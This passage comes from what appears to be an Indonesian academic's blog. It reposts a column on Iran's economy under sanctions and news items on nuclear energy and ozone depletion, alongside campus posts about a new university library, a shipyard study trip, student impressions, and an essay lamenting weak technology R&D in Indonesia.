Iran menikmati listrik “untuk tidak menyebutkan 100 persen.

Melihat
Iran seperti itu saya jadi teringat makna kata yang ditempatkan di
bagian tengah-tengah Alquran: Wal Yatalaththaf! (bersambung)

Sambungan…

BAGAIMANA Iran ke depan?

Mengapa setelah lebih 20 tahun diisolasi dan diembargo Amerika Serikat Iran tidak kolaps seperti Burma, Korea Utara (Korut) atau Kuba?

Banyak faktor yang melatarbelakanginya. Pertama, saat mulai diisolasi dulu kondisi Iran sudah cukup maju. Kedua, tradisi keilmuan bangsa Iran termasuk yang terbaik di dunia. Ketiga, Iran penghasil minyak dan gas yang sangat besar. Keempat, jumlah penduduk Iran cukup besar untuk bisa mengembangkan ekonomi domestik. Kelima, tradisi dagang masyarakat Iran sudah terkenal dengan golongan bazarinya.

Tradisi dagang itu tidak mudah dikalahkan. Pedagang selalu bisa berkelit dari kesulitan. Ini berbeda dengan tradisi agraris. Seperti Tiongkok, meski 60 tahun dikungkung oleh komunisme Mao Zedong yang kaku, penduduknya tetap tidak lupa kebiasaan dagang. Demikian juga warga Iran. Ini terbukti sampai sekarang pun. Setelah lebih 20 tahun diisolasi pun sektor jasa masih menyumbang sampai 40% GDP negara itu.

Penduduk Iran yang 75 juta orang juga menjadi kekuatan ekonomi tersendiri. Apalagi saat mulai diisolasi oleh Amerika tahun 80-an, kondisi Iran sudah tidak tergolong negara miskin. Kelas menengah di Iran sangat dominan. Inilah faktor yang dulu membuat revolusi Islam Iran tahun 1979 berhasil menumbangkan diktator Syah Pahlevi. Keberhasilan itu disebabkan  masyarakat di Iran didominasi kaum bazari. Pedagang kelas menengah. Yakni bukan konglomerat yang ketakutan ditebas penguasa, dan bukan pedagang kecil yang takut kehilangan tempat bergantung. Belum lagi kekayaan alamnya. Iran adalah negara kedua terbesar penghasil minyak dan gas alam. Bukan hanya memiliki cadangan besar, tapi juga mampu melakukan drilling dan pengolahan sendiri. Tidak ada lagi ketergantungan akan teknologi  drilling dan pengolahan.

Salah satu sumber gasnya, yang baru saja ditemukan, akan membuat negara itu kian berkibar. Di lepas pantainya, di Teluk Parsi, ditemukan ladang gas terbesar di dunia. Ladang itu setengahnya berada di wilayah Qatar dan setengahnya lagi di wilayah Iran. Tahun 1999 lalu Qatar sudah berhasil menyedot gas bawah laut itu dari wilayah Qatar. Kalau Iran tidak menyedotnya dari wilayah Iran tentu semua gas itu akan disedot Qatar. Karena itu Iran juga bergegas menyedotnya dari sisi timur. Tahun 2003 lalu Iran sudah berhasil menyedot gas itu dan akan terus meningkatkan sedotannya. « Tiga tahun lagi kemampuan Iran menyedot gas itu sudah sama dengan Qatar, » ujar CEO perusahaan gas di sana.

Untuk menggambarkan seberapa besar potensi gas itu baiknya dikutip kata-kata CEO yang saya temui di atas. “Seluruh gas Iran di situ harganya USD 12 triliun”, katanya. Ini sama dengan 12 kali seluruh kekuatan ekonomi Indonesia yang USD 1 triliun saat ini.

« Kalau gas itu diambil dalam skala seperti sekarang baru akan habis dalam 200 tahun », tambahnya.
Gas itu letaknya memang 3.000 meter di bawah laut, namun dalamnya laut sendiri hanya 50 meter. Secara teknis ini jauh lebih mudah pengambilan gasnya daripada misalnya gas bawah laut Indonesia di Masela, di laut Maluku Tenggara.

Memang masih ada kendala ekonomi yang mendasar. Defisit anggaran masih menghantui, subsidi masih besar, laju inflasi masih tinggi dan akses perdagangannya masih terjepit oleh sanksi Amerika. Inflasi yang tinggi itu akibat naiknya harga bahan makanan, gas dan bahan bakar minyak (BBM).

Bahkan akibat inflasi itu Iran harus mencetak mata uang dengan pecahan lebih besar dari rupiah. Kalau pecahan rupiah paling besar Rp 100.000, real Iran terbesar adalah 500.000 real (1 real hampir sama dengan Rp 1). Bahkan ada juga real lembaran 1.000.000, meski penggunaannya hanya di lingkungan terbatas. Seperti Indonesia, Iran juga merencanakan menghapus empat nol di belakang real yang terlalu panjang itu. Hanya saja penghapusan nol tersebut baru akan dilakukan setelah inflasinya stabil kelak. Itulah sebabnya pemerintah Iran kini mati-matian memperbaiki fondasi ekonominya.

Tahun lalu parlemen Iran sudah menyetujui dilaksanakannya “reformasi ekonomi”. Sebuah reformasi yang sangat penting dan mendasar. Inti dari reformasi itu adalah menjadikan ekonomi Iran sebagai “ekonomi pasar”. Artinya harga-harga harus ditentukan oleh pasar. Tidak boleh lagi ada subsidi. Reformasi ekonomi itu ditargetkan harus berhasil dalam lima tahun ke depan.

Begitu pentingnya reformasi untuk meletakkan dasar-dasar ekonomi Iran itu, sampai-sampai Presiden Ahmadinejad berani mengambil resiko dihujat dan dibenci rakyatnya dua tahun terakhir ini. Subsidi pun dia hapus. Harga-harga merangkak naik. Ahmadinejad tidak takut tidak popular karena ini memang sudah masa jabatannya yang kedua, yang tidak mungkin bisa maju lagi jadi presiden.
Bahwa kini Iran memilih jalan ekonomi pasar sungguh mengejutkan. Alasannyapun “sangat ekonomi”: untuk meningkatkan produktivitas nasional dan keadilan sosial.

Subsidi (subsidi BBM tahun lalu mencapai USD 84 juta), menurut pemerintah, lebih banyak jatuh kepada orang kaya. Karena itu daripada anggaran dialokasikan untuk subsidi lebih baik langsung diarahkan untuk golongan yang berhak.

Pemikiran reformasi ekonomi seperti itulah yang tidak ada di negara-negara lain yang diisolasi Amerika Serikat. Inilah juga faktor yang membuat Iran tidak akan tertinggal seperti Burma, Kuba atau Libya. Dengan bendera sebagai Negara Islam pun Iran tetap menjunjung tinggi ilmu ekonomi yang benar. Tradisi keilmuan di Iran, termasuk ilmu ekonomi, memang sudah tinggi sejak zaman awal peradaban. Inilah salah satu bangsa tertua di dunia dengan peradaban Arya yang tinggi.

Dalam situasi terjepit sekarang pun, tradisi keilmuan itu tetap menonjol. Iran kini tercatat sebagai satu di antara 15 negara yang mampu mengembangkan nanoteknologi. Iran juga termasuk 10 negara yang mampu membuat dan meluncurkan sendiri roket luar angkasa.

Di bidang rekayasa kesehatan, Iran juga menonjol: teknologi stemcell, kloning dan jantung buatan sudah sangat dikenal di dunia. Bahkan untuk stemcell Iran masuk 10 besar dunia. Maka tidak heran kalau Iran juga tidak ketinggalan dalam penguasaan teknologi perminyakan, pembangkit listrik dan otomotif. Jangankan jenis teknologi itu, nuklir pun Iran sudah bisa membuat, lengkap dengan kemampuannya memproduksi uranium hexaflourade yang selama ini hanya dimiliki oleh enam negara.

AS kelihatannya berhasil membuat Burma, Korut, Kuba dan Libya menderita dengan embargonya. Tapi tidak untuk Iran. Ke depan posisi Iran justru kian baik, antara lain karena “dibantu” oleh Amerika Serikat sendiri.

Sudah lama Iran ingin menumbangkan Saddam Husein di Iraq, namun selalu gagal. Perang Iran-Iraq yang sampai 8 tahun pun tidak berhasil mengalahkan Saddam Husein. Iran tidak menyangka bahwa Saddam dengan mudah ditumbangkan oleh AS. Dengan tumbangnya Saddam Husein maka Iraq kini dikuasai oleh para pemimpin yang hati mereka memihak Iran. Banyak pemimpin Iraq saat ini adalah mereka yang di masa Saddam dulu terusir ke luar negeri, dan mereka bersembunyi di Iran. Bahkan saat terjadi perang Iran-Iraq dulu, mereka ikut angkat senjata bersama tentara Iran menyerbu Iraq.

Demokrasi yang diperjuangkan AS di Iraq telah membuat golongan mayoritas berkuasa di Iraq. Padahal mayoritas rakyat Iraq adalah Islam Syiah. Golongan Sunni hanya 40 persen, itu pun tidak utuh. Yang separo adalah keturunan Arab, sedang separo lagi keturunan Kurdi. Ada kecenderungan keturunan Kurdi memilih berkoalisi dengan Syiah. Padahal yang golongan Arab itu pun masih juga terpecah-pecah ke dalam berbagai kabilah. Saddam Husein, misalnya, datang dari suku Tikrit yang jumlahnya hanya sekitar 10% dari penduduk Iraq.

Dengan gambaran seperti itu maka masa depan hubungan Iran dan Iraq tinggal menunggu waktu yang tepat untuk menjadi amat mesra. Waktu yang tepat itu adalah ini: mundurnya AS 100% dari Iraq. Dan itu tidak akan lama lagi.

Pekan lalu pimpinan Iraq sudah mengatakan Iraq hanya perlu bantuan militer untuk menjaga perbatasan, bukan untuk urusan dalam negeri. Maka tidak lama lagi Iraq akan menjadi negara ketiga yang akan mengalirkan barang dari dan ke Iran. Dan kalau ini terjadi, masih ada gunanyakah Iran diisolasi?(*)

Dahlan Iskan

CEO PLN

Energi Nuklir Solusi Atasi Masalah Energi

Di copy paste dari Media Indonesia dot com

-0-

Senin, 09 Mei 2011 19:09 WIB

JAKARTA–MICOM: Energi nuklir diklaim sebagai bahan bakar yang bersih karena tidak mengeluarkan emisi atau CO2 dalam jumlah besar. Selain itu sisa hasil energi nuklir dapat didaur ulang untuk dijadikan energi kembali.

Hal tersebut disampaikan pengamat Masyarakat Energi Terbarukan Indonesia (METI) Jon Respati dalam seminar “Energi Berkelanjutan untuk Pembangunan Nasional” di Jakarta, Senin (9/5). “METI tidak antinuklir karena memahami nuklir energi bersih dalam artian tidak mengeluarkan atau mengemisikan CO2,” katanya.

Jon menyampaikan bahwa selama ini energi nuklir selalu dikait-kaitkan dengan senjata nuklir. Padahal nuklir bisa digunakan sebagai energi bersih dan hal itu perlu didukung.

Maka penggunaan energi nuklir perlu dilakukan dengan persiapan yang jelas dan penguasaan teknologi yang mumpuni. “SDM (sumber daya manusia) kita sudah cukup mumpuni, cuma diperlukan suatu persiapan yang jelas,” ujar Jon.

Sementara Ketua Masyarakat Peduli Energi dan Lingkungan (MPEL) Budi Sudarsono mengatakan bahwa bencana gempa dan tsunami yang menimpa Pembangkit Listrik Tenaga Nuklir (PLTN) Fukushima di Jepang membuat masyarakat takut. Namun ia menyampaikan bahwa bencana tersebut terjadi bukan karena kesalahan dalam pembangkit tersebut tetapi karena gempa.

Maka energi nuklir sebenarnya tidak terlalu beresiko seperti yang dibayangkan. “Tidak ada reaktor yang meledak, yang ada kepecahan tabung hidrogennya,” ujar Budi.

Dengan tingginya harga minyak dunia dan terbatasnya ketersediaan panas bumi, energi nuklir perlu dikembangkan. Mantan Presiden Greenpeace Patrick Moore mengatakan bahwa sampah (limbah) dari PLTN sangat sedikit. Hal itu dikarenakan dalam menghasilkan listrik besar, PLTN hanya memerlukan sedikit uranium.

“Limbahnya disimpan dalam cara yang aman. Tidak likuid, tidak korosif, hanya berbentuk pelet kecil. Katakanlah 1GW listrik hanya 80 ton sampahnya,” ungkap Moore. (ML/OL-04()

Modern Digital Library – UI

MODERN DIGITAL  LIBRARY – UI

Bahwa  Univ  Indonesia  akan  mempunyai  perpustakaan yang terbesar dan termodern di Asia Tenggara, barangkali anda sudah pernah mendengar, baik melalui pemberitaan dari mulut ke mulut maupun dari media massa cetak beberapa waktu yang lalu.

Namun seperti apakah wujudnya library itu ?

Mungkin jarang atau belum ada diantara kita  yang sudah pernah melihat wujudnya…

Tak dinyana tak diduga… tahu-tahu pagi tadi saya mendapat kesempatan yang langka untuk melihatnya dengan mata kepala sendiri jeroan perpustakaan itu seperti apa. Bahkan diantar dan di guide sendiri oleh ‘seseorang’ yg istimewa, nanti saya ceritakan siapa dia.

Datang terlambat di gedung DRPM, janji jam 10 dengan pak Ibus Dir Makara Mas dan Prof Ricky Wee (dari  Imitsu, inventor Self Generated Power Supply*- ada sedikit info dibawah) bersama rombongannya. Yah karena terlambat tahu-tahu semua sudah visit ruang seminar, banyak yg sudah hadir a.l. Jonna, Anang, Budi, p Salahuddin. Jadi rencananya di ruangan yang baru itulah bulan Juni nanti kami akan mengadakan seminar dengan mengundang berbagai pihak untuk menunjukkan bahwa Indonesia bisa lebih unggul dari negara2 lain dengan penemuan energy Listrik dengan sumber power supply yang bersih tanpa energy fosil, green, silent… dst (cerita ini nanti dilanjutkan krn kita focus ke library dulu).-

Pak Ibus pulang lebih duu karena mau ngajar, menjelang jam 11.30 kami semua keluar mau pulang masing-masing membawa payung karena hujan diluar. Waktu kami mau saling berpisah… tahu-tahu… datang seseorang bertopi jaket hitam mendekat…

Wah rasa-rasa kenal nih… pernah koq saya melihat wajahnya… Setelah dekat malah saya yang ditegur,

“Pak Ral’… lho… baru saya tersadar ternyata orang ini…

Rektor UI – Prof Gumilar, yang datang sendiri berjalan kaki di tengah hujan. Setelah salaman beliau saya perkenalkan dengan Prof Ricky Wee. Omong punya omong pak Rektor menawarkan kami untuk sight-seeing gedung perpustakaan yang baru. Sekalian beliau ngecek persiapan untuk soft-launching gedung baru 8 tingkat ini yang rencananya akhir bulan Mei.

Jadilah kemudian kami mengunjungi ruangan demi ruangan sambil diguide dan dijelaskan segala sesuatunya oleh bapak Rektor sendiri. Kelihatannya beliau sangat antusias sekali, karena

-          Modern digital and multimedia library –

Ini akan menjadi ikon kebanggaan Universitas Indonesia di masa depan.

Mari kita lihat sedikit foto-fotnya dan di akhir nanti ada video sight seeing kami bersama bapak Rektor UI dan Prof Ricky Wee.

Ruang Seminar modern dengan multimedia, bisa memuat 200 orang.

Tersedia juga ruang diskusi kelas yang bisa memuat 50 orang dengan pemandangan kearah danau yang indah. Tentu ada juga ruangan seperti perpustakaan tradisional yang berisi buku-buku. Tempat untuk group discussion, ruang belajar dan riset, ada ruang yoga, dance hall, banyak lagi yang saya tidak ingat.

Pak Rektor sedang menjelaskan apa-apa saja fasilitas modern yang ada di gedung ini. Studio musik juga tersedia dimana bisa membuat recording, bahkan ada ruang teater full akustik.

Mari kita lihat juga beberapa videonya.-

Di video nanti anda akan lihat juga sebuah hall besar berisi 1000 komputer station Apple setara ipad II (kalo ini saya sendiri yg ngomong, tapi jumlah 1000 nya beneran). Disitu anda bisa cari ebook apa aja yang eksis di dunia baik maya maupun nyata. Internet katanya kecepatan tinggi… gak tahu berapa ? kali 200 km/jam… Kan katanya kecepatan tinggi… sama dong sama Ferrari.

Untuk Ganjar

Mau ikut Do’ain utk Pak Gandjar (masih boleh kan yah Prof Ral) ^^
Moga di sisa umur, beliau Makin sukses dalam karir, prestasi & Ibadah plus yAng Pastinya Makin Barokah hidupnya (Ziyadatul khoir a’laa Khoir – brtambah kebaikan diatas/didalam kebaikan,
klo gk salah sprti itu deh yg sy denger dr seorang ustadz ttg makna barokah ).
&Utk Prof Raldi juga, Sukses-Sehat selalu Pak…
Moga ttp truz berkarya & ttp mnjadi Inspirasi utk kami (Mantan Mahasiswa, Mahasiswa & Calon Mahasiswa nantinya),, ;D ” Like Master Like Disciple “
=0=
Kayanya banyak pahalanya nih si so’im. Soalnya bah arabnya canggih, tp bah inggrisnya sy rada2 gak ngerti… salam.-

Ekskursi Galangan Kapal

Studi Ekskursi mahasiswa Program Studi Teknik Perkapalan FTUI dipimpin oleh bapak dosen Mukti Wibowo, telah dilaksanakan pada tanggal 03 Mei 2011. Anak Buah Kapal berjumlah 43 orang telah bertandang ke galangan kapal di Merak milik PT Caputra Mitra. Berbagai jenis kapal yang sedang dibuat maupun direpair telah dilihat dengan mata kepala sendiri, dengan demikian ABK sedikit lebih bisa memahami tentang proses pembuatan maupun repair beberapa jenis kapal. Pengenalan terhadap material kapal terkini juga dijelaskan oleh staf PT Caputra.

Kapal baik yg sedang dalam fabrikasi maupun yang di repair telah dilihat oleh para mahasiswa dengan termangu-mangu sambil berpotret ria sana sini… Diantara jenis kapal yang ada disana tongkang, tugboat, kapal pesiar, crew boat dll.-

Dan yang lebih asyik.. pulangnya para ABK ditraktir makan minum gratis di rumah makan padang sederhana di rest area km-45 jalan tol Merak, oleh pak Bowo sehingga mereka pulang dengan tertawa-tawa sendiri dan adapula yang tertawa bersama-sama karena kenyang dan senang…

Lihat video,

Klik video ABK makan bersama setelah lelah studi tour…

(ABK boleh kasi komen…).-

Tanggapan Gelisah Teknologi

Oleh: Hari Satriyo

E-mail hari@informatika.lipi.go.id

Terima kasih pak Adriano atas pencerahannya. Apa sih arti Hari Satriyo Basuki di R&D Center. Saya pernah kerja di Lembaga Elektroteknika Nasional yang sekarang jadi LEN INdustri dimana dulu he he he duluuuu sekali sudah direncanakan untuk menelriti dan membuat transistor dengan menduplikat yang ada dan cukup berhasil. Akan tetapi penelitian elektronika itu tidak sesederhana dan sesingkat serta semurah itu.

Kami waktu itu sudah bangga sekali akan tetapi perkembangan di luar sedemikian pesatnya dan nggak terkejar oleh kami damn kita Indonesia.Alatnya yangs edemikian muahalnya, rangkaiannya yang sudah sedemikian kompleksnya dan sebagainya, dan kalau di kembalikan ke cerita india rancho maka hal itu tidak mungkin, apakah kita mau membuat komputer PC yang sebesar 3 kamar tidur lagi? Walau dapat berfungsi tetapi bukan jamannya dan akan nggak ada yang makai.

Jangan terlalu pesimis pak, coba liat Hartono Istana elektronika yang membuat Polytron dari Lemari es sampai TV Plasma, PT Panggung Elektronik yang membuat dengan merk AKIRA dan lainnya walau dengan duplikasi tetapi ada sentuhan teknologi dan terjual di Jerman dll dengan merk Jerman. OEM. SDM IPTEK tidak hanya yang di Pemerintahan tetapi di Industri juga ada dan banyak yang berhasil. Pernah baca pencakar langit tertinggi didunia di Dubai? Salah satu perncangnya dari Indonesia.

Saya sendiri juga nggak suka dengan kemunduran teknologi tetapi ya mungkin yang di atas sebagai penentu negara ini maish memekikr pengembangan ditempat lain. Jangankan hanya beli peralatan pembuat komponen elektronika yang milyardan atau pembuat gas untuk AC atau pembuat bahan kapal terbang, untuk minta osciloscope atau alat ukur seharga 10 jutaan saja nggak disetujui, mana bisa kita bersaing dengan Hartono dan Panggung dibidang elektronika. Mungkin koment saya terlalu panjang pak dan yang pasti ya saya juga gelisah tetapi apa sih yang bisa dilakukan oelh saya?

Lapisan Ozon Makin Parah

INILAH.COM, Vienna – Kondisi lapisan ozon Kutub Utara makin parah di musim dingin ini. Kondisi ini disebabkan cuaca dingin di bagian atas atmosfer. Seperti apa?
Pada akhir Maret, 40% lapisan ozon stratosfir rusak. Tingkat kerusakan ini meningkat dari sebelumnya yang hanya berkisar 30%. Seperti diketahui, lapisan ozon melindungi manusia dari kanker kulit.
Namun kini, lapisan itu rusak karena polusi industri kimia. Seperti dikutip BBC News, kerusakan yang terjadi merupakan reaksi dari kondisi dingin stratosfer akibat polusi industri kimia.
Melalui perjanjian Montreal Protocol dari PBB, beberapa zat kimia dilarang digunakan karena keberadaanya bisa bertahan lama di atmosfer hingga puluhan tahun. Perjanjian Montreal Protocol 1987 melarang penggunaaan zat Chlorofluorocarbon (CFC) yang banyak digunakan pada lemari es.
WMO memaparkan data ini di ajang tahunan European Geosciences Union (EGU) di Vienna, Austria. Meski mendinginnya stratosfer merupakan peristiwa tahunan di kutub selatan, gambaran kutub utara masih belum bisa diprediksi.
“Tingkat kerusakan lapisan ozon di musim dingin tergantung pada kondisi meteorologi,” ungkap Sekjen World Meteorogical Organization (WMO) Michel Jarraud.
Kerusakan lapisan ozon pada 2011 menunjukkan, manusia harus waspada dan menyadari situasi kutub utara untuk beberapa waktu ke depan, lanjutnya.
Rusaknya lapisan ozon membuat sinar ultraviolet-B berbahaya bisa masuk melewati atmosfer. Sinar inilah yang menyebabkan kanker kulit, katarak, dan kerusakan sistem kekebalan tubuh. WMO memperingatkan warga dunia mewaspadainya. [mor] (salinan dari inilah.com).-

Gandjar Ultah

Wakadep DTM FTUI Dr Ir Gandjar Kiswanto, berulang tahun kemarin tgl 20 April 2011. HUT nya ini dirayakan dengan sangat meriah, sambil tiup lilin mecahin balon dan makan bersama di restoran

BUMBU DESA

di Margo City yang tentunya amat sangat lezat.

Mari kita doakan agar pak Gandjar, sukses dalam karier, selalu sehat (walau report MCU nya kemarin kurang meyakinkan) dan…

SEMAKIN LUCU…

Mari kita lihat videonya:

Kesan mahasiswa

Bagian ini nih….ok secara jujur saya sangat mengapresiasi cara mengajar Pak Raldi dalam menyampaikan materi, dalam memberikan tugas. Pak Raldi lepas banget waktu di kelas seakan-akan kelas merupakan panggungnya dan kita adalah fansnya. Dia bisa menghipnotis bola mata kita kemana dia bergerak kita ikuti. Mengkin hal ini beliau peroleh karena beliau sudah senior dan menjadi dosen sudah lama dan tentu saja karena factor x. Apa itu factor X? pasti semua teman-teman sudah tahu. Factor X nya adalah pengalaman manggung. Ga semua orang bisa relax santai lho diatas panggung. Apalagi dengan pengalaman disururh turun dari panggung Java Jazz itu pasti pengalaman berharga dan tidak akan diulangi untuk kesempatanu manggung berikutnya. Ya benar benar kelas ini metode pengajarannya sangat luar biasa..inilah kelas yang saya impikan waktu saya masih duduk di SMP. Saya menginginkan kelas yang dikelas tidak hanya mencekoki kita meteri tanpa ada action garing banget. Eh ternyata ketemu juga dosen yang gokil berani OUT OF THE BOX ini nih dosen yang harus diperhatiin UI serta Ui harus mencari bakat bakat dosen “gila” seperti ini. Supaya mahasiswanya ga hanya tahu isi buku ini, isi buku itu tapi juga bisa mendapat pengalaman belajar yang aktif, produktif penuh dengan action. Pengalaman pertama yang kocak waktu kelas etijing ini adalah materinya bebas banget sesuai ama keadaan sekarang UP TO DATE jadi kita anak muda enak menyikapinya. Tidak seperti kelas sebelah yang hanya diam saja terpaku pada buku. Di tambah lagi tugas visitnya yang mantep jadi benar-benar melebur dengan kaum marjinal. Apalagi proyek UAS tentag proyek nyata dalam yang bisa diimplementasikan dan menambah nilai fungi buat masyarakat sekita ide genius dan brilliant tuh. Memang tujuan pak Raldi adalah sesuai dengan nama mata kuliahnya yaitu etika engineering yang pasti anak teknik biasanya suka yang riil ga suka yang di cekokin kata-kata. Etika engineering merupakan dua kata yang cocok buat anak teknik untuk mencoba berbuat riil dalam masyarakat. Pokoknya ga salah lah teman saya merekomendasikan mata kuliah ini dengan dosen Pak Raldi.

Pengalaman yang tak terlupakan buat saya waktu di kelas adalah dosen gokil yang memamerkan group bandnya THE PROFESSOR waktu ngeband sama THE CHANGCUTERS dengan judul lagu I Love You Bibeh. Ditambah lagi dengan Live performance dikelas he he he.

Ada beberapa kata-kata yang saya petik dari kelas ini adalah :

“dahulukan kehendak orang tua, niscaya keinginan kita akan tercapai”

“Orang yang mempelajari
bisnis tidak akan menjadi pebisnis, Tetapi orang yang mencoba bisnis akan menjadi pebisnis”

 

“Bisnis itu Permaianan, bukan ilmu pengetahuan”

 

    Itu merupakan kata-kata yang saya tangkap dari slide maupun perkataan Pak Raldii yang telah menginspirasi saya. Terima kasih Pak atas waktunya dan pengalaman yang paling berharga. He he he

 

O ya ada tugas yang belum bisa ke jawab nih dari Pak Raldi :

 

“tulisan apa yang ada di jembatan perbatasan itu?(saya lupa negaranya)”

 

Ok saya akan jawab sebentar lagi pak AS SOON AS POSSIBLE

 

(Muhammad Iqbal Rois).-

SEBUAH GELISAH TENTANG TEKNOLOGI

SEBUAH GELISAH TENTANG TEKNOLOGI

 Oleh : Adriano Rusfi

Malam ini saya tidak bisa tidur. Ini pasti gara-gara telah lebih dua minggu tak habis pikir : bahwa bangsa ini, sekadar punya kuda-kuda untuk mengambil alih teknologipun tak mampu. Ya, sekadar kuda-kuda. Tapi itu begitu penting. Saya ingat film The American Shaolin, bahwa ilmu pertama yang diajarkan di Biara Silat itu adalah kuda-kuda. Dan itu tiga tahun lamanya, hanya untuk kuda-kuda !!!

Tak habis pikir… lalu tak bisa tidur… Karena akhirnya saya berujung gelisah di tengah malam : bolehkah saya menggugat dan menghujat ? Bukankah saya hanya seorang psikolog yang tak berhak menjadi juri atas kompetensi atau impotensinya para teknolog kita ? Mungkin yang harus saya kutuk adalah keputusan saya untuk menerima tawaran survey tentang SDM IPTEK di dunia industri kita. Lalu survey “celaka” itu menghasut saya untuk menancapkan sebuah kesimpulan brutal : SDM IPTEK industri itu hampir-hampir tak ada !!!

Bah… nekad, menafikan segala ikhtiar puluhan tahun dari ribuan karyawan Research and Development (R&D) yang telah menguras rupiah dan pengorbanan yang tak sedikit. Baiklah… tapi, apa yang telah dihasilkan ? Saya hanya melihat para pekerja kreatif dan tukang-tukang berpengalaman yang berhasil merubah gelas berbibir bulat menjadi segi tiga. Apakah itu yang disebut sebagai SDM IPTEK ? Bukankah SDM IPTEK itu seharusnya adalah saintis dan teknolog yang menggunakan seluruh ikhtiar ontologis, epistemologis dan aksiologis untuk menggambarkan, menjelaskan, meramalkan, mengendalikan dan merekayasa gejala-gejala ilmiah ? Atau, mungkin saya yang tak mengikuti perkembangan, bahwa belakangan antara teknolog dan teknisi sebenarnya adalah barang yang sama. Bahwa antara implementator dan operator bukan lagi hal penting untuk dipilah. Entahlah…

Sebenarnya saya telah berusaha untuk salut dan berjuang untuk bangga. Lihatlah, nun di sana telah ada “SDM IPTEK” kita yang mampu merubah knalpot sepeda motor tetap bekerja baik di dalam genangan banjir. Di sudut yang lain saya mendecakkan kagum kepada sekelompok doktor yang telah menerbangkan besi ke langit. Namun entah kenapa, saya tiba-tiba saja kehilangan selera setelah tahu bahwa sang modifikator knalpot canggih itu ternyata bahkan tak mampu menciptakan sebatang knalpot paling generik sekalipun, sepenuhnya dari nol. Dan apa yang harus saya gumamkan kalau ternyata para doktor perakit pesawat itu ternyata tak kuasa membuat transportasi yang lebih primitif dari itu : mobil. Beribu maaf… perakit, ternyata bukan pencipta.

Mungkin malam ini saya tak bisa tidur, ulah mimpi sendiri yang saya buat terlampau fatal. Betul, saya terlanjur bermimpi bahwa seorang pakar adalah seorang yang tiba-tiba saja menyicip segelas ramuan asing, lalu serta-merta menari kegirangan sambil setengah menjerit, “A-ha ! Saya tahu kandungannya dan saya bisa membuat resepnya !”. Ya, dia Sang Koki Agung ! Dia membuat resep… Dia bukan pengemis yang meminta agar koki asing membocorkan rahasia ramuannya. Dia bukan pencuri formula yang mengendap di tengah malam menyelundupkan sebuah paten yang telah dikreasikan oleh orang lain dengan susah-payah. Dan dia pasti bukan tukang sampah yang menerima formula kadaluarsa atas nama belas kasih “alih teknologi”.

Mungkin tak ada yang dapat saya salahkan jika malam ini saya kehilangan selera kantuk. Toh saya hanya ditipu oleh mata dan sangka saya sendiri. Saya kira, jika seorang pemain basket telah begitu mahirnya menyarangkan Slam Dunk ke keranjang lawan, berarti dia adalah pemain basket tingkat atas. Saya hanya terlalu naïf untuk paham bahwa, di negeri ini, ada orang-orang yang telah berlatih Slam Dunk sebelum benar-benar menguasai dasar-dasar bermain basket. Permainan mereka begitu menawan dan akrobatis, namun sekaligus begitu menjengkelkan. Ya… menjengkelkan ! Karena mereka hampir selalu urung mewujudkan target sebuah pertandingan : Kemenangan !!! Sobat teknolog yang budiman, target pertandingan itu kemenangan, bukan Slam Dunk. Apa artinya inovasi, jika bahkan melakukan duplikasi sempurnapun kita belum bisa ???

Telah jam satu malam… Dan mata saya nanar menerawang ke masa silam. Ke kisah seorang teman yang kuliah di Teknik Mesin dan mengambil Tugas Akhir di bidang Mesin Pendingin. Ia lalu bekerja selepas lulus, membawa selembar ijazah dan idealisme : ia ingin alih teknologi. Dan iapun bekerja di sebuah perusahaan AC. Suatu malam nasionalismenya telah menggerakkan tangannya untuk mengambil tindakan heroik. Ia curi sebuah prototip AC dan menyelusupkannya pulang. Tiga tahun ia berburu misteri dan rahasia di lorong-lorong AC itu. Dan pada akhirnya ia menelpon saya, “Aku gagal”. Entahlah, ia telah belajar apa saja selama kuliah. Mungkin belajar mesin, tapi bukan filsafat mesin . Mungkin tentang pendingin, tapi bukan hakekat dingin. Mungkin tentang AC, tapi bukan formulanya. Ah… entahlah…

Seharusnya teman saya berganti nama saja dengan Samsung, industrialis Korea, mungkin guratan tangannya akan berbeda. Tadi siang saya baru saja bertandang ke sebuah lapaknya pada ajang Bazaar Bezar Bezaran di Jakarta Convention Center. Samsung buat dan jual apa saja, dengan cara yang paling memikat : ya mutunya… ya desainnya… ya teknologinya… ya harganya… Ia kompeten di televisi, komputer, printer, kamera, ponsel, tablet PC, dan masih banyak. Hampir saya membeli sebuah netbook keluarannya. Desainnya futuristik, spesifikasinya bersaing dan baterenya tahan 14 jam.

Tapi tidak. Samsung bukan bisa mencipta segalanya. Samsung hanya menguasai elektronika : hanya itu !!! Para koki R & D nya tidak belajar ponsel, atau komputer, atau kamera, atau televisi. Tidak ! Mereka hanya belajar elektronika. Mereka cukup tahu diri dan rendah hati, bahwa mereka harus memulai segalanya dari duplikasi, bukan inovasi. Mereka sadar, jika mereka telah menyadari esensi cukup sekali, maka selanjutnya mereka akan menghasilkan seribu satu turunannya dengan begitu mudah. Dan kuncinya hanya satu, berpikir sederhana : Principle of Parsimony !!! Bukankah ciri seorang pakar sejati adalah seorang yang pemikirannya mudah dimengerti awam ?

Mungkin itu yang dimaksudkan dengan sebuah Center of Excellence. R & D bukanlah sebuah pabrik, dan SDM-nya seharusnya bukan para juru masak. Dia adalah sebuah pusat, dan harus berpikir terpusat, bukan macam-ragam. Center of Excellence seharusnya adalah penghasil brainware, bukan software, apalagi hardware. Software dan hardware adalah ulah kelakuan para pabrikan, bukan ulah perbuatan SDM IPTEK yang berhimpun di R & D. SDM IPTEK Samsung adalah koki pencipta resep dan formula, sedangkan pabrikannya adalah juru masak yang melahirkan produk dan benda. Karena Center of Excellence bukanlah Center of Competence.

Sudahlah… terlalu malam hati ini untuk dibakar cemburu kepada Samsung. Toh wajar, mereka memang lebih dekat dengan biara Shaolin. Mereka mungkin telah belajar sabar untuk menguatkan kuda-kuda tiga tahun lamanya. Mereka, dan hampir seluruh peradaban Asia Timur, adalah orang-orang yang sabar dan pekerja keras. Maka, Jepang lebih memilih Kaizen yang merayap namun pasti (continuous improvement), ketimbang konsep Innovation yang melompat dan meletup. Ya… nun di pertengahan abad ke 19 mereka memilih restorasi (renovasi) bukan inovasi. Sudahlah… toh kita tak sama dengan mereka : mereka sabar, dan kita pengambil jalan pintas.

Tampaknya India pun memilih belajar ke para tetangganya di Timur itu untuk maju menapak. Sebuah dialog dalam film The Three Idiots secara tajam menyiratkan itu : Sebuah kisah tentang Sang Rektor berpendidikan Barat yang dengan bangganya menceritakan tentang inovasi berbiaya 150 Juta Dollar Amerika oleh NASA, agar sebuah pena mampu memuncratkan tintanya di ruang hampa udara antariksa. Namun, Sang “Idiot” India bernama Rancho menampiknya dengan logika sederhana,

